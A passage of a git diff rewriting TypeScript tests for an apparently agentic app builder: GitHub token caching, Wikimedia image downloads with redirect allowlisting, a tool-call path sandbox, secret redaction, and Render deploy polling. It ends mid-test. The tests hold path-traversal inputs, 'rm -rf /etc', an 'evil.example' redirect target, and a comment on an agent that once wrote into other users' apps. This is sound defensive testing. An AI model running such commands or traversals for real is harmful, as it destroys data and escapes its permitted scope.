b/tests/github-auth.test.ts @@ -1,10 +1,6 @@ import { generateKeyPairSync } from "node:crypto"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - githubToken, - resetTokenCache, - usingGitHubApp, -} from "../app/git.js"; +import { githubToken, resetTokenCache } from "../app/github.js"; const { privateKey } = generateKeyPairSync("rsa", { modulusLength: 2048, @@ -12,130 +8,54 @@ const { privateKey } = generateKeyPairSync("rsa", { publicKeyEncoding: { type: "spki", format: "pem" }, }); -const APP_VARS = [ +const GITHUB_VARS = [ "GITHUB_APP_ID", "GITHUB_APP_PRIVATE_KEY", "GITHUB_APP_INSTALLATION_ID", "GITHUB_TOKEN", ] as const; -function tokenResponse(token: string, expiresInMs: number) { - return vi.fn(async () => - Response.json({ - token, - expires_at: new Date(Date.now() + expiresInMs).toISOString(), - }), - ) as unknown as typeof fetch; -} - -function useApp(key = privateKey) { - process.env.GITHUB_APP_ID = "123456"; - process.env.GITHUB_APP_PRIVATE_KEY = key; - process.env.GITHUB_APP_INSTALLATION_ID = "7891011"; -} - beforeEach(() => { resetTokenCache(); - for (const name of APP_VARS) delete process.env[name]; + for (const name of GITHUB_VARS) delete process.env[name]; }); afterEach(() => { - for (const name of APP_VARS) delete process.env[name]; + vi.useRealTimers(); + for (const name of GITHUB_VARS) delete process.env[name]; }); -describe("PAT fallback", () => { - it("uses GITHUB_TOKEN when no app is configured", async () => { - process.env.GITHUB_TOKEN = "ghp_personal"; - expect(await githubToken()).toBe("ghp_personal"); - expect(usingGitHubApp()).toBe(false); - }); - - it("throws when neither credential is present", async () => { - await expect(githubToken()).rejects.toThrow(/No GitHub credentials/); - }); - - it("falls back to the PAT when the app config is incomplete", async () => { +describe("githubToken", () => { + // A run can outlive the one-hour lifetime of an installation token. + it("exchanges a GitHub App installation token and reuses it until it nears expiry", async () => { + vi.useFakeTimers({ toFake: ["Date"] }); process.env.GITHUB_APP_ID = "123456"; + process.env.GITHUB_APP_PRIVATE_KEY = privateKey; + process.env.GITHUB_APP_INSTALLATION_ID = "7891011"; process.env.GITHUB_TOKEN = "ghp_personal"; - expect(await githubToken()).toBe("ghp_personal"); - expect(usingGitHubApp()).toBe(false); - }); -}); - -describe("GitHub App", () => { - it("exchanges a signed JWT for an installation token", async () => { - useApp(); - const fetchImpl = tokenResponse("ghs_install", 60 * 60 * 1000); - - expect(await githubToken(fetchImpl)).toBe("ghs_install"); - expect(usingGitHubApp()).toBe(true); - - const [url, init] = (fetchImpl as unknown as ReturnType).mock - .calls[0]; - expect(String(url)).toContain("/app/installations/7891011/access_tokens"); - expect((init as RequestInit).method).toBe("POST"); + let issued = 0; + const fetchImpl = vi.fn(async () => + Response.json({ + token: `ghs_install_${++issued}`, + expires_at: new Date(Date.now() + 60 * 60 * 1000).toISOString(), + }), + ) as unknown as typeof fetch; - // A JWT is three base64url segments; the app never sends the raw key. - const auth = String( - (init as RequestInit).headers && - ((init as RequestInit).headers as Record).Authorization, - ); - expect(auth.replace("Bearer ", "").split(".")).toHaveLength(3); - expect(auth).not.toContain("PRIVATE KEY"); + expect(await githubToken(fetchImpl)).toBe("ghs_install_1"); + vi.advanceTimersByTime(30 * 60 * 1000); + expect(await githubToken(fetchImpl)).toBe("ghs_install_1"); + vi.advanceTimersByTime(28 * 60 * 1000); + expect(await githubToken(fetchImpl)).toBe("ghs_install_2"); }); - it("prefers the app over a PAT when both are set", async () => { - useApp(); + it("uses the PAT when no GitHub App is configured", async () => { process.env.GITHUB_TOKEN = "ghp_personal"; - expect(await githubToken(tokenResponse("ghs_install", 3_600_000))).toBe( - "ghs_install", - ); - }); - - it("caches the token instead of exchanging on every call", async () => { - useApp(); - const fetchImpl = tokenResponse("ghs_install", 60 * 60 * 1000); - - await githubToken(fetchImpl); - await githubToken(fetchImpl); - await githubToken(fetchImpl); - - expect(fetchImpl).toHaveBeenCalledTimes(1); - }); - - // A run can outlive the one-hour lifetime, so renew before it lapses. - it("re-exchanges when the cached token is near expiry", async () => { - useApp(); - const fetchImpl = tokenResponse("ghs_install", 60_000); - - await githubToken(fetchImpl); - await githubToken(fetchImpl); + const fetchImpl = vi.fn() as unknown as typeof fetch; - expect(fetchImpl).toHaveBeenCalledTimes(2); + expect(await githubToken(fetchImpl)).toBe("ghp_personal"); }); - it("accepts a base64-encoded private key", async () => { - useApp(Buffer.from(privateKey).toString("base64")); - expect(await githubToken(tokenResponse("ghs_install", 3_600_000))).toBe( - "ghs_install", - ); - }); - - it("accepts a private key with escaped newlines", async () => { - useApp(privateKey.replace(/\n/g, "\\n")); - expect(await githubToken(tokenResponse("ghs_install", 3_600_000))).toBe( - "ghs_install", - ); - }); - - it("surfaces an exchange failure", async () => { - useApp(); - const fetchImpl = vi.fn( - async () => new Response("bad installation", { status: 404 }), - ) as unknown as typeof fetch; - - await expect(githubToken(fetchImpl)).rejects.toThrow( - /token exchange failed \(404\)/, - ); + it("fails when no credentials are configured", async () => { + await expect(githubToken()).rejects.toThrow(/No GitHub credentials/); }); }); diff --git a/tests/images.test.ts b/tests/images.test.ts index 908fc54..645df16 100644 --- a/tests/images.test.ts +++ b/tests/images.test.ts @@ -1,179 +1,167 @@ /** * The photographs of an app. No test calls Commons: each test replaces fetch. + * Photographs are decoration, so a bad download leaves a subject out rather + * than failing the run. */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { bestCandidate, type CommonsCandidate, collectImages, - commonsQueries, } from "../app/images.js"; import type { Sandbox } from "../app/sandbox.js"; const APP_DIR = "/home/user/repo/apps/demo/shop"; -const THUMB = "https://upload.wikimedia.org/thumb/walnut_chair.jpg"; +const COMMONS = "https://commons.wikimedia.org/"; +const UPLOAD = "https://upload.wikimedia.org/thumb"; -/** One search result, as the Commons API sends it. */ -function commonsPage(url = THUMB) { +/** One Commons search result. */ +function page(title: string, url: string, width: number, height: number) { return { - query: { - pages: [ - { - title: "File:Walnut chair.jpg", - imageinfo: [ - { - thumburl: url, - thumbwidth: 1200, - thumbheight: 900, - width: 4000, - height: 3000, - extmetadata: { - Artist: { value: "    Jane Doe" }, - LicenseShortName: { value: "CC BY-SA 4.0" }, - }, - }, - ], + title, + imageinfo: [ + { + thumburl: url, + thumbwidth: 1200, + thumbheight: Math.round((1200 * height) / width), + width, + height, + extmetadata: { + Artist: { value: "Jane Doe" }, + LicenseShortName: { value: "CC BY-SA 4.0" }, }, - ], - }, + }, + ], }; } -describe("collectImages", () => { - let writeFile: ReturnType; - let sandbox: Sandbox; - - /** - * Commons finds `url` for each search, and each image download gets the - * response that `image` gives. - */ - function serve( - image: (url: string) => Response, - url: string = THUMB, - ): void { - vi.stubGlobal( - "fetch", - vi.fn(async (request: string | URL | Request) => { - const target = String(request); - return target.startsWith("https://commons.wikimedia.org/") - ? Response.json(commonsPage(url)) - : image(target); - }), - ); - } +const jpeg = () => + new Response(new Uint8Array([0xff, 0xd8, 0xff]), { + headers: { "content-type": "image/jpeg" }, + }); - const jpeg = () => - new Response(new Uint8Array([0xff, 0xd8, 0xff]), { - headers: { "content-type": "image/jpeg" }, - }); +let writeFile: ReturnType; +let sandbox: Sandbox; +/** Each URL fetched outside the Commons search API. */ +let downloads: string[]; - beforeEach(() => { - writeFile = vi.fn(async () => undefined); - sandbox = { writeFile } as unknown as Sandbox; - vi.spyOn(console, "warn").mockImplementation(() => {}); - }); +/** + * Each Commons search for a subject finds `results[subject]`, and each + * download of a URL gets `files[url]`, or a 404. + */ +function serve( + results: Record[]>, + files: Record Response>, +): void { + vi.stubGlobal( + "fetch", + vi.fn(async (request: string | URL | Request) => { + const url = String(request); + if (url.startsWith(COMMONS)) { + const query = new URL(url).searchParams.get("gsrsearch") ?? ""; + const subject = query.replace(/^filetype:bitmap /, ""); + return Response.json({ query: { pages: results[subject] ?? [] } }); + } + downloads.push(url); + return files[url]?.() ?? new Response("", { status: 404 }); + }), + ); +} - afterEach(() => { - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - }); +beforeEach(() => { + writeFile = vi.fn(async () => undefined); + sandbox = { writeFile } as unknown as Sandbox; + downloads = []; + vi.spyOn(console, "warn").mockImplementation(() => {}); +}); - it("downloads a photograph for each subject into the assets directory", async () => { - serve(jpeg); +afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllGlobals(); +}); - const images = await collectImages(sandbox, APP_DIR, ["Walnut chair"]); +describe("collectImages", () => { + it("downloads the best wide photo into assets/ under a generated name", async () => { + serve( + { + "Walnut chair!": [ + page("File:Portrait.jpg", `${UPLOAD}/portrait.jpg`, 3000, 4000), + page("File:Wide.jpg", `${UPLOAD}/wide.jpg`, 4000, 3000), + ], + }, + { [`${UPLOAD}/wide.jpg`]: jpeg, [`${UPLOAD}/portrait.jpg`]: jpeg }, + ); - expect(images).toEqual([ + expect(await collectImages(sandbox, APP_DIR, ["Walnut chair!"])).toEqual([ { path: "assets/walnut-chair.jpg", - subject: "Walnut chair", + subject: "Walnut chair!", credit: "Jane Doe / Wikimedia Commons (CC BY-SA 4.0)", }, ]); + expect(downloads).toEqual([`${UPLOAD}/wide.jpg`]); expect(writeFile).toHaveBeenCalledWith( `${APP_DIR}/assets/walnut-chair.jpg`, expect.any(Buffer), ); }); - // Photographs are decoration. A failed subject gives one fewer, not a - // failed run. - it.each([ - ["a response that is not an image", () => new Response("")], - [ - "an image over the size limit", - () => - new Response(new Uint8Array(3 * 1024 * 1024), { - headers: { "content-type": "image/jpeg" }, - }), - ], - ["a failed download", () => new Response("", { status: 503 })], - ])("leaves out a subject with %s", async (_label, image) => { - serve(image); - - expect(await collectImages(sandbox, APP_DIR, ["Walnut chair"])).toEqual( - [], - ); - expect(writeFile).not.toHaveBeenCalled(); - expect(console.warn).toHaveBeenCalledWith( - expect.stringContaining('"event":"image_skipped"'), - ); - }); - - // The URL comes from Commons, but it is still data from the internet. - it.each([ - "http://upload.wikimedia.org/thumb/walnut_chair.jpg", - "https://evil.example/walnut_chair.jpg", - ])("does not download %s", async (url) => { - const image = vi.fn(jpeg); - serve(image, url); - - expect(await collectImages(sandbox, APP_DIR, ["Walnut chair"])).toEqual( - [], + // An allowed host can redirect anywhere, so each hop is checked again. + it("skips a photo that redirects to a host off the allowlist", async () => { + serve( + { chair: [page("File:Chair.jpg", `${UPLOAD}/chair.jpg`, 4000, 3000)] }, + { + [`${UPLOAD}/chair.jpg`]: () => + new Response(null, { + status: 302, + headers: { location: "https://evil.example/chair.jpg" }, + }), + "https://evil.example/chair.jpg": jpeg, + }, ); - expect(image).not.toHaveBeenCalled(); - }); -}); -/** - * Commons requires every term to match, so a five-word subject finds nothing. - */ -describe("commonsQueries", () => { - it("shortens a prose subject, longest first", () => { - expect(commonsQueries("Beneteau Oceanis sailboat sailing offshore")).toEqual( - [ - "Beneteau Oceanis sailboat sailing offshore", - "beneteau oceanis sailboat sailing offshore", - "beneteau oceanis sailboat sailing", - "beneteau oceanis sailboat", - "beneteau oceanis", - ], - ); + expect(await collectImages(sandbox, APP_DIR, ["chair"])).toEqual([]); + expect(downloads).toEqual([`${UPLOAD}/chair.jpg`]); + expect(writeFile).not.toHaveBeenCalled(); }); - it("drops words Commons gains nothing from matching", () => { - expect(commonsQueries("sailboat cockpit and wheel helm closeup")).toContain( - "sailboat cockpit wheel helm", + it("skips a non-image response and a body over the size cap, and keeps the other subjects", async () => { + serve( + { + chair: [page("File:Chair.jpg", `${UPLOAD}/chair.jpg`, 4000, 3000)], + table: [page("File:Table.jpg", `${UPLOAD}/table.jpg`, 4000, 3000)], + lamp: [page("File:Lamp.jpg", `${UPLOAD}/lamp.jpg`, 4000, 3000)], + }, + { + [`${UPLOAD}/chair.jpg`]: jpeg, + [`${UPLOAD}/table.jpg`]: () => new Response(""), + // No content-length, so only the read can stop it. + [`${UPLOAD}/lamp.jpg`]: () => + new Response( + new ReadableStream({ + pull(controller) { + controller.enqueue(new Uint8Array(1024 * 1024)); + }, + }), + { headers: { "content-type": "image/jpeg" } }, + ), + }, ); - }); - it("leaves an already short subject as a single search", () => { - expect(commonsQueries("walnut chair")).toEqual(["walnut chair"]); - }); + const images = await collectImages(sandbox, APP_DIR, [ + "chair", + "table", + "lamp", + ]); - it("survives punctuation and empty input", () => { - expect(commonsQueries(" ")).toEqual([]); - expect(commonsQueries("Hallberg-Rassy cruising sailboat!")).toContain( - "hallberg-rassy cruising sailboat", - ); + expect(images.map((image) => image.subject)).toEqual(["chair"]); + expect(writeFile).toHaveBeenCalledOnce(); }); }); /** - * Real candidates for "pocket gopher". Every thumbnail comes back at the - * requested box, so thumbnail size says nothing about quality — sorting by it - * picked the tallest image, which was a 1.8 MB portrait, and shipped it into a - * landing page. + * Every thumbnail comes back at the requested width, so thumbnail size says + * nothing about quality: ranking by it once picked a 1.8 MB portrait. */ describe("bestCandidate", () => { const candidate = ( @@ -182,42 +170,22 @@ describe("bestCandidate", () => { sourceHeight: number, ): CommonsCandidate => ({ title, - url: `https://upload.wikimedia.org/${title}.jpg`, + url: `${UPLOAD}/${title}.jpg`, width: 1200, - height: sourceWidth >= sourceHeight ? 900 : 1200, + height: Math.round((1200 * sourceHeight) / sourceWidth), sourceWidth, sourceHeight, credit: "someone / Wikimedia Commons (CC BY-SA 4.0)", }); - it("prefers a large landscape source over a taller one", () => { - const pick = bestCandidate([ - candidate("portrait", 1151, 2048), - candidate("mounds", 4000, 3000), - candidate("closeup", 2048, 1536), - ]); - expect(pick?.title).toBe("mounds"); - }); - - it("skips a source too small to fill the thumbnail it would be upscaled to", () => { + it("prefers a wide, high-resolution source", () => { const pick = bestCandidate([ - candidate("tiny-but-wide", 450, 326), - candidate("real", 2048, 1536), + candidate("tall-portrait", 3000, 6000), + candidate("tiny-but-wide", 450, 300), + candidate("wide", 2048, 1536), + candidate("large-wide", 4000, 3000), ]); - expect(pick?.title).toBe("real"); - }); - - it("takes a portrait when no landscape source qualifies", () => { - expect(bestCandidate([candidate("portrait", 1568, 1735)])?.title).toBe( - "portrait", - ); - }); - - it("falls back to a small source rather than returning nothing", () => { - expect(bestCandidate([candidate("tiny", 450, 326)])?.title).toBe("tiny"); - }); - it("has nothing to pick from an empty list", () => { - expect(bestCandidate([])).toBeUndefined(); + expect(pick?.title).toBe("large-wide"); }); }); diff --git a/tests/policy.test.ts b/tests/policy.test.ts index 4e2d32a..e991717 100644 --- a/tests/policy.test.ts +++ b/tests/policy.test.ts @@ -1,180 +1,92 @@ import { describe, expect, it } from "vitest"; -import { - checkToolCall, - redactSecrets, - resolveSandboxPath, -} from "../app/policy.js"; +import { checkToolCall, redactSecrets } from "../app/policy.js"; const APP_DIR = "/home/user/repo/apps/demo/shop"; -const exec = (command: string) => - checkToolCall("sandbox__exec", { command }, APP_DIR); const tool = (name: string, input: Record) => checkToolCall(name, input, APP_DIR); describe("checkToolCall", () => { - // A pattern cannot tell a safe command from a harmful one: a regex list - // refused `rm -rf dist/`, and let `r''m -rf /` through. The sandbox holds - // no credential, and it has no remote to push to. - it.each([ - "npm test", - "rm -rf dist/ && mkdir -p dist", - "psql \"$DATABASE_URL\" -c 'DROP TABLE IF EXISTS items'", - "git push origin HEAD", - ])("does not read the command %s", (command) => { - expect(exec(command)).toBeNull(); + // Logs can hold secrets, and no code can redact what an agent reads. + it("denies a Render MCP tool that is not on the read-only list, including list_logs", () => { + expect(checkToolCall("mcp__render__create_web_service", {})).toContain( + "read-only allowlist", + ); + expect(checkToolCall("mcp__render__list_logs", {})).toContain( + "read-only allowlist", + ); }); - it("blocks path traversal in file tools", () => { + it("allows a Render MCP tool on the read-only list", () => { expect( - tool("sandbox__write_file", { path: "../../etc/passwd", content: "x" }), - ).toContain("outside the app directory"); + checkToolCall("mcp__render__get_service", { serviceId: "srv-1" }), + ).toBeNull(); }); - it("blocks a sibling directory that merely shares the app directory's prefix", () => { + it("denies a sandbox path that escapes the app directory", () => { expect( - tool("sandbox__read_file", { path: "/home/user/repo/apps/demo/shopx/x.ts" }), + tool("sandbox__write_file", { path: "../../victim/site/index.html" }), ).toContain("outside the app directory"); - }); - - it("blocks absolute paths outside the app directory", () => { - expect(tool("sandbox__read_file", { path: "/etc/shadow" })).toContain( + expect(tool("sandbox__read_file", { path: "/etc/passwd" })).toContain( "outside the app directory", ); - }); - - // The builder once wrote to the apps of other users, and to the files at - // the root of the apps repository. - it.each([ - ["sandbox__write_file", { path: "../../victim/site/index.html", content: "x" }], - ["sandbox__write_file", { path: "/home/user/repo/render.yaml", content: "x" }], - ["sandbox__read_file", { path: "/home/user/repo/apps/victim/site/factory.json" }], - ["sandbox__list_dir", { path: ".." }], - ["sandbox__search", { pattern: "token", path: "/home/user/repo" }], - ["sandbox__exec", { command: "ls", cwd: "../../victim/site" }], - ["sandbox__apply_patch", { diff: "--- a\n+++ b\n", cwd: "/home/user/repo" }], - ])("blocks %s outside the app directory: %j", (name, input) => { - expect(tool(name, input)).toContain("outside the app directory"); - }); - - it("allows paths inside the app directory and /tmp", () => { - expect(tool("sandbox__read_file", { path: `${APP_DIR}/x.ts` })).toBeNull(); - expect(tool("sandbox__read_file", { path: "/tmp/scratch" })).toBeNull(); - expect(tool("sandbox__read_file", { path: "src/index.ts" })).toBeNull(); - expect(tool("sandbox__list_dir", { path: "web/../api" })).toBeNull(); - expect(tool("sandbox__search", { pattern: "x" })).toBeNull(); - }); - - // The content of a file is not a path. A JavaScript file can start with - // "//", and an import can hold "../". - it("checks only the fields that hold a path", () => { + // Shares the prefix of the app directory, but is not in it. expect( - tool("sandbox__write_file", { - path: "web/src/main.ts", - content: '// Entry point.\nimport { api } from "../lib/../api";\n', + tool("sandbox__read_file", { + path: "/home/user/repo/apps/demo/shopx/x.ts", }), - ).toBeNull(); - }); - - // An agent with sandbox tools always has an app directory. Without one, - // no path is inside it. - it("blocks a path tool when the agent has no app directory", () => { - expect(checkToolCall("sandbox__read_file", { path: "index.html" })).toContain( - "has no app directory", - ); - }); - - // The bare name matters: Claude reports MCP tools as mcp__factory__, - // and claude.ts strips that prefix before calling this. - it("applies path rules to the bare tool name", () => { - expect(tool("sandbox__list_dir", { path: "/etc" })).toContain("Blocked"); - }); - - it("blocks a cwd outside the app directory without reading the command", () => { - expect(tool("sandbox__exec", { command: "ls", cwd: "/root" })).toContain( - "outside the app directory", - ); - // Absolute paths in the command itself are normal (/usr/bin, /tmp). - expect(tool("sandbox__exec", { command: "/usr/bin/env node -v" })).toBeNull(); - }); -}); - -/** - * The whole reason this exists: the sandbox exec API starts in `/`, so an - * unresolved relative path builds an application nobody can commit. - */ -describe("resolveSandboxPath", () => { - const resolved = (path: string) => resolveSandboxPath(APP_DIR, path); - - it.each([ - ["web/index.html", `${APP_DIR}/web/index.html`], - [".", APP_DIR], - ["./api/../web", `${APP_DIR}/web`], - [`${APP_DIR}/api`, `${APP_DIR}/api`], - ["/tmp/scratch.json", "/tmp/scratch.json"], - ])("resolves %s", (input, expected) => { - expect(resolved(input)).toEqual({ path: expected }); - }); - - it.each([ - "/root", - "/etc/passwd", - "../../../../../../root/app", - "/home/user/repox", - // The rest of the apps repository is not part of the app. - "..", - "../cafe/index.html", - "/home/user/repo/render.yaml", - "/home/user/repo/apps/victim/site", - "/home/user/repo/apps/demo/shopx", - "/tmpx/scratch.json", - ])("rejects %s", (input) => { - const result = resolved(input); - expect("error" in result && result.error).toContain( - `outside the app directory (${APP_DIR}) and /tmp`, - ); - }); - - it("rejects an empty path", () => { - expect(resolved(" ")).toEqual({ error: "Path is empty." }); + ).toContain("outside the app directory"); + expect( + tool("sandbox__exec", { command: "ls", cwd: "/home/user/repo" }), + ).toContain("outside the app directory"); }); -}); -/** - * The architect reaches Render over MCP. Read tools are how it learns what the - * workspace holds; write tools would let a model change infrastructure. - */ -describe("Render MCP allowlist", () => { - it("allows read tools", () => { - expect(checkToolCall("mcp__render__list_services", {})).toBeNull(); + it("allows a sandbox path inside the app directory or /tmp", () => { expect( - checkToolCall("mcp__render__get_service", { serviceId: "srv-1" }), + tool("sandbox__read_file", { path: "web/../api/index.ts" }), + ).toBeNull(); + expect( + tool("sandbox__read_file", { path: `${APP_DIR}/index.html` }), + ).toBeNull(); + expect( + tool("sandbox__write_file", { path: "/tmp/scratch.json" }), ).toBeNull(); }); - it.each([ - "mcp__render__create_static_site", - "mcp__render__create_web_service", - "mcp__render__create_postgres", - "mcp__render__update_environment_variables", - "mcp__render__trigger_deploy", - // A read, but logs can hold secrets. Workflow code redacts them. - "mcp__render__list_logs", - ])("blocks %s", (name) => { - expect(checkToolCall(name, {})).toContain("read-only allowlist"); + // A pattern cannot tell a safe command from a harmful one. The sandbox + // limits what a command can reach. + it("does not inspect shell commands or file contents", () => { + expect( + tool("sandbox__exec", { command: "rm -rf /etc && cat ../../x" }), + ).toBeNull(); + expect( + tool("sandbox__write_file", { + path: "src/main.ts", + content: 'import { api } from "../../../../etc/api";\n', + }), + ).toBeNull(); }); }); describe("redactSecrets", () => { - it("removes token-shaped strings", () => { - const text = "token ghp_abcdefghijklmnopqrst and key sk-ant-api03-abcdefghijkl"; - const redacted = redactSecrets(text); - expect(redacted).not.toContain("ghp_abcdefghijklmnopqrst"); - expect(redacted).not.toContain("sk-ant-api03-abcdefghijkl"); - expect(redacted).toContain("[REDACTED]"); - }); + it("removes Anthropic, GitHub, and Render keys and Postgres URLs, and leaves other text", () => { + const secrets = [ + "sk-ant-api03-abcdefghijklmnop", + "ghp_abcdefghijklmnopqrst", + "ghs_abcdefghijklmnopqrst", + "github_pat_abcdefghijklmnop", + "rnd_abcdefghijklmnop", + "postgres://app:hunter2@db.internal:5432/appdb", + "postgresql://app:hunter2@db.internal/appdb", + ]; + + const redacted = redactSecrets( + `Deploy failed. ${secrets.join(" and ")} were set.`, + ); - it("leaves ordinary prose alone", () => { + for (const secret of secrets) expect(redacted).not.toContain(secret); + expect(redacted).toMatch(/^Deploy failed\. \[REDACTED\] and /); + expect(redacted).toMatch(/ were set\.$/); expect(redactSecrets("Added a test for the parser.")).toBe( "Added a test for the parser.", ); diff --git a/tests/render.test.ts b/tests/render.test.ts index e243f8e..e969257 100644 --- a/tests/render.test.ts +++ b/tests/render.test.ts @@ -1,460 +1,163 @@ /** * The Render reads of the workflow. No test calls the Render API: each test - * replaces fetch. + * replaces fetch, and a fake clock runs the waits between polls. */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { fetchDeployLogs, findBlueprint, + latestDeploys, pageContains, - pageScripts, + retryRead, waitForDeploy, - waitForServices, - workflowIdOfTaskRun, } from "../app/render.js"; -const REST_API = "https://api.render.com/v1"; - -/** A deploy as the Render API lists it. */ interface Deploy { id: string; status: string; } -/** - * Right after a push, the newest deploy is still the deploy from before the - * push. A repair round once took that failed deploy as its own result, so it - * never saw the deploy of its repair. - */ -describe("waitForDeploy", () => { - const FAILED: Deploy = { id: "dep-1", status: "pre_deploy_failed" }; - - beforeEach(() => { - vi.useFakeTimers(); - vi.stubEnv("RENDER_API_KEY", "rnd_test"); - vi.spyOn(console, "warn").mockImplementation(() => {}); +/** Run the fake clock until the promise settles. */ +async function settle(promise: Promise): Promise { + let done = false; + const tracked = promise.finally(() => { + done = true; }); + // The caller gets the rejection. This handler only stops a warning. + tracked.catch(() => {}); + while (!done) await vi.advanceTimersByTimeAsync(5_000); + return tracked; +} - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - }); +/** Answer each request with the next response; repeat the last one. */ +function renderAnswers(...responses: (() => Response)[]) { + let calls = 0; + const fetchMock = vi.fn(async (_url: string | URL | Request) => + responses[Math.min(calls++, responses.length - 1)](), + ); + vi.stubGlobal("fetch", fetchMock); + return fetchMock; +} - /** - * Each request gets the next deploy, or the next error status, or throws - * the next error. After the last one, each request gets the last one again. - */ - function renderReturns(...results: (Deploy | number | Error)[]) { - let calls = 0; - const fetchMock = vi.fn( - async (_url: string | URL | Request, _init?: RequestInit) => { - const result = results[Math.min(calls++, results.length - 1)]; - if (result instanceof Error) throw result; - if (typeof result === "number") { - return new Response("", { status: result }); - } - return Response.json([{ deploy: result, cursor: "c" }]); - }, - ); - vi.stubGlobal("fetch", fetchMock); - return fetchMock; - } +const deploys = + (...list: Deploy[]) => + () => + Response.json(list.map((deploy) => ({ deploy, cursor: "c" }))); - /** Wait 60 seconds for the API, and run the sleeps between polls at once. */ - async function waitForApi( - opts: { after?: string; onPoll?: (detail: string) => void } = {}, - ) { - const [outcome] = await Promise.all([ - waitForDeploy("srv-api", { timeoutMs: 60_000, ...opts }), - vi.runAllTimersAsync(), - ]); - return outcome; - } +beforeEach(() => { + vi.useFakeTimers(); + vi.stubEnv("RENDER_API_KEY", "rnd_test"); + vi.spyOn(console, "warn").mockImplementation(() => {}); +}); + +afterEach(() => { + vi.useRealTimers(); + vi.restoreAllMocks(); + vi.unstubAllGlobals(); + vi.unstubAllEnvs(); +}); - it("returns the newest deploy when it is terminal", async () => { - const fetchMock = renderReturns(FAILED); +/** + * Right after a push, the newest deploy is still the deploy from before the + * push, so every wait after a push names that deploy as `after`. + */ +describe("waitForDeploy", () => { + it("returns failed when the newest deploy fails", async () => { + renderAnswers( + deploys({ id: "dep-1", status: "build_in_progress" }), + deploys({ id: "dep-1", status: "pre_deploy_failed" }), + ); - expect(await waitForApi()).toEqual({ + expect( + await settle(waitForDeploy("srv-api", { timeoutMs: 60_000 })), + ).toEqual({ deployId: "dep-1", status: "pre_deploy_failed", result: "failed", }); - expect(fetchMock).toHaveBeenCalledTimes(1); - const [url, init] = fetchMock.mock.calls[0]; - expect(String(url)).toBe(`${REST_API}/services/srv-api/deploys?limit=1`); - expect(new Headers(init?.headers).get("authorization")).toBe( - "Bearer rnd_test", - ); }); - it("polls past the deploy from before the push", async () => { - const fetchMock = renderReturns( - FAILED, - { id: "dep-2", status: "build_in_progress" }, - { id: "dep-2", status: "live" }, + it("ignores the deploy from before the push and waits for a newer one to go live", async () => { + renderAnswers( + deploys({ id: "dep-1", status: "pre_deploy_failed" }), + deploys({ id: "dep-2", status: "build_in_progress" }), + deploys({ id: "dep-2", status: "live" }), ); - expect(await waitForApi({ after: "dep-1" })).toEqual({ - deployId: "dep-2", - status: "live", - result: "live", - }); - expect(fetchMock).toHaveBeenCalledTimes(3); + expect( + await settle( + waitForDeploy("srv-api", { timeoutMs: 60_000, after: "dep-1" }), + ), + ).toEqual({ deployId: "dep-2", status: "live", result: "live" }); }); - // A deploy from before the push is never a result of the push, not even a - // live one. - it.each(["pre_deploy_failed", "live"])( - "reports not_started when the %s deploy from before the push stays the newest", - async (status) => { - const onPoll = vi.fn(); - const fetchMock = renderReturns({ id: "dep-1", status }); - - expect(await waitForApi({ after: "dep-1", onPoll })).toEqual({ - deployId: "dep-1", - status, - result: "not_started", - }); - // One poll each 5 seconds until the deadline, and not more. - expect(fetchMock).toHaveBeenCalledTimes(12); - expect(onPoll).toHaveBeenLastCalledWith( - "Service srv-api: waiting for a deploy after dep-1", - ); - }, - ); - - it("times out while the newer deploy is in progress", async () => { - renderReturns(FAILED, { id: "dep-2", status: "build_in_progress" }); - - expect(await waitForApi({ after: "dep-1" })).toEqual({ - deployId: "dep-2", - status: "timed out while build_in_progress", - result: "timed_out", - }); - }); - - /* - * A deploy wait can poll for 15 minutes, after the push. One failed poll - * once ended the run as "failed", although the deploy went live. - */ - it("polls again after a poll fails", async () => { - const onPoll = vi.fn(); - const fetchMock = renderReturns( - 502, - new DOMException("The operation was aborted due to timeout", "TimeoutError"), - { id: "dep-2", status: "live" }, - ); + // Render keeps the last live deploy of a failed service, so the old deploy + // is never the push's result, not even when it is live. + it("returns not_started when no newer deploy starts before the deadline", async () => { + renderAnswers(deploys({ id: "dep-1", status: "live" })); - expect(await waitForApi({ onPoll })).toEqual({ - deployId: "dep-2", - status: "live", - result: "live", - }); - expect(fetchMock).toHaveBeenCalledTimes(3); - expect(onPoll.mock.calls.map(([detail]) => detail)).toEqual([ - "The deploy lookup of srv-api failed (attempt 1 of 5): Listing the deploys of srv-api failed with 502.", - "The deploy lookup of srv-api failed (attempt 2 of 5): The operation was aborted due to timeout", - ]); - }); - - it("counts only the failures in sequence", async () => { - const failures = [503, 503, 503, 503]; - renderReturns( - ...failures, - { id: "dep-2", status: "build_in_progress" }, - ...failures, - { id: "dep-2", status: "live" }, - ); - - expect(await waitForApi()).toMatchObject({ result: "live" }); - }); - - it("fails with the last error when 5 polls in sequence fail", async () => { - const fetchMock = renderReturns( - { id: "dep-2", status: "build_in_progress" }, - 503, - 503, - 503, - 503, - new TypeError("fetch failed", { cause: new Error("other side closed") }), - ); - - await expect(waitForApi()).rejects.toThrow( - "The deploy lookup of srv-api failed 5 times in sequence. " + - "The last error: fetch failed: other side closed", - ); - expect(fetchMock).toHaveBeenCalledTimes(6); - }); - - // A new attempt cannot repair the API key, so the wait does not continue - // until its deadline. - it.each([401, 403])("fails at once on a %i", async (status) => { - const fetchMock = renderReturns(status); - - await expect(waitForApi()).rejects.toThrow( - `Listing the deploys of srv-api failed with ${status}. The API key needs read access to the workspace.`, - ); - expect(fetchMock).toHaveBeenCalledTimes(1); + expect( + await settle( + waitForDeploy("srv-api", { timeoutMs: 60_000, after: "dep-1" }), + ), + ).toMatchObject({ deployId: "dep-1", result: "not_started" }); }); }); -describe("waitForServices", () => { - const web = { - id: "srv-web", - name: "acme-demo-shop-web", - serviceDetails: { url: "https://acme-demo-shop-web.onrender.com/" }, - }; - const api = { - id: "srv-api", - name: "acme-demo-shop-api", - serviceDetails: { url: "https://acme-demo-shop-api.onrender.com" }, - }; - - /** - * Each request gets the next list of services, or the next error status. - * Returns the URL of each request. - */ - function serveServices(results: ((typeof web)[] | number)[]): URL[] { - const urls: URL[] = []; +describe("latestDeploys", () => { + it("returns the newest deploy of each service that exists and has one", 